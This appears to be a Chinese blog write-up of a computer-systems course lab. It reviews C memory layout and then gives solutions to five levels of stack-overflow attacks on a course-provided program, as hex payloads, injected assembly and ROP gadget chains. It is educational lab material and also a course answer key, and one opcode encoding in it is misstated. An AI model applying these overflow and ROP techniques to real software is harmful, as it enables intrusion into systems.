在做完lab2的时候,回去看了课本的第三章,最后一部分讲了一下栈溢出导致的代码漏洞会被如何利用,以及如何防止这种安全问题,当时就在想原来代码攻击是这样的,有空要自己实践一下。打开lab3发现原来就是我想要的,兴趣一下就来了
1. 预备知识
C语言的空间管理
1.栈区(stack):
由编译器自动分配释放,存放函数的参数值,局部变量等值。其操作方式类似于数据结构中的栈。
2.堆区(heap):
堆允许程序在运行时动态地申请某个大小的内存。
一般由程序员分配释放,若程序员不释放,则可能会引起内存泄漏。
注堆和数据结构中的堆栈不一样,其类是与链表。
3.程序代码区:存放函数体的二进制代码。
所有的语句编译后会生成CPU指令存储在代码区.
4.数据段:由三部分组成:
<1>只读数据段:
只读数据段是程序使用的一些不会被更改的数据,使用这些数据的方式类似查表式的操作,由于这些变量不需要更改,因此只需要放置在只读存储器中即可。一般是const修饰的变量以及程序中使用的文字常量一般会存放在只读数据段中。
<2>已初始化的读写数据段:
已初始化数据是在程序中声明,并且具有初值的变量,这些变量需要占用存储器的空间,在程序执行时它们需要位于可读写的内存区域内,并且有初值,以供程序运行时读写。在程序中一般为已经初始化的全局变量,已经初始化的静态局部变量(static修饰的已经初始化的变量)
<3>未初始化段(BSS):
[
BSS段通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。
特点是可读写的,在程序执行之前BSS段会自动清0。
]
未初始化数据是在程序中声明,但是没有初始化的变量,这些变量在程序运行之前不需要占用存储器的空间。与读写数据段类似,它也属于静态数据区。但是该段中数据没有经过初始化。未初始化数据段只有在运行的初始化阶段才会产生,因此它的大小不会影响目标文件的大小。在程序中一般是没有初始化的全局变量和没有初始化的静态局部变量。
栈结构
栈上存放局部变量,函数退出后就会被释放。函数返回时需要使用到栈中存放的返回地址
,比如函数fun1()
调用func2()
时,会先将func1()
中的下一条指令的地址存放到返回地址中,然后进入到func2()
中,func2()
结束后,将返回地址从栈中取出,放到程序计数器PC中,实现程序的返回。
栈溢出攻击就是想办法将栈中的返回地址覆盖为我们想要执行的函数的入口地址,同时将函数的参数传送到指定的寄存器
2. 实验
代码框架
test()函数调用getbuf()函数,getbuf()在栈上申请了40个字节的空间,并使用gets函数读取字符串。目标就是通过传入不同的字符串使函数从getbuf()返回到我们期望的函数中,而不是test()中
代码注入攻击
level1
要求返回到touch1()中,该函数没有参数,因此只需要将rsp+0x28~rsp+0x30的地方覆盖成touch1的地址即可
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66 // 40个字节的字符串
c0 17 40 00 00 00 00 00 // touch1的地址
level2
要求返回到touch2()中,并将cookie的值0x59b997fa作为参数传递给touch2,因此在跳转之前需要先执行参数传递的代码,参数传递结束后需要将touch2的地址压栈:
movq $0x59b997fa, %rdi
pushq $0x04017ec
retq
该段代码的二进制格式为:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
答案为:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
78 dc 61 55 00 00 00 00 // rsp的地址,也就是代码48 c7...的地址
level3
要求返回到touch3中,将cookie转换为字符串,并将字符串的地址作为touch3的参数传递。在touch3中会调用hexmatch函数,该函数会使用栈空间,因此cookie的字符串不能放到前面。此时栈的分布应该是:
+----------------+ 栈顶rsp
|传递参数的代码 |
+----------------+ rsp+0x28
|传递参数代码的地址 |
+----------------+
|字符串 |
+----------------+
|…… |
参数传递:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi ;
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
答案:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
66 66 66 66 66 66 66 66
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
代码重定向攻击
为了防止代码诸如攻击,栈上的数据可能会被设置为不可执行,因此不能将注入代码写到栈上
但是代码的二进制文件中包含了很多字节序列,就存在使用这些序列拼接出我们要的内容。比如movq %rax, %rdi
的二进制编码为48 49 c7,retq
为c3,如果我们能找到一段字节序列构成如下的代码:
movq %rax, %rdi
[一些不影响rdi的指令]
retq
就能通过修改栈上的返回地址去执行这些字节序列,从而达到我们的目的。攻击过程如图所示:
level4同level2的需求。我们需要将0x59b997fa移动到rdi中,首先从栈里拿出来需要popq指令,然后使用mov指令传送到rdi中。查找相关序列能得到以下的函数:
popq %rdi
retq
答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 // 58 90 c3序列所在的地址
fa 97 b9 59 00 00 00 00 // cookie
ec 17 40 00 00 00 00 00 // touch2的地址
level5
同level3的需求,我们需要将cookie的字符串存到栈的某个位置,比如rsp+x,然后需要将rsp+x传送到rdi中。经过分析能获得如下的栈结构:
| |
+-------------+
|字符串 |
+-------------+ --> rsp+0x48
|touch3的地址 |
+-------------+
|4019a2 | mov %rax, %rdi
+-------------+
|4019d6 | lea (%rdi,%rsi,1),%rax
+-------------+
|401a13 | movl %ecx, %esi
+-------------+
|401a34 | movl %edx, %ecx
+-------------+
|4019dd | movl %eax, %edx
+-------------+
|48 |
+-------------+
|4019cc | popq %rax
+-------------+
|4019a2 | movq %rax, %rdi
+-------------+ <-- rsp
|401a06 | movq %rsp, %rax
+-------------+
|…… |
+-------------+
需要注意的:
- 在movq %rsp, %rax中rsp的值是多少
- 偏移量0x48可以先不确定,等代码的过程确定了再回来数字符串被排到了哪里
- 加法指令可以用lea代替
- 注意movl和movq结合使用,有些情况下是等效的
- 可以夹杂一些无关指令,如nop、test、cmpq以及不改变我们需要的寄存器的指令
答案:
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00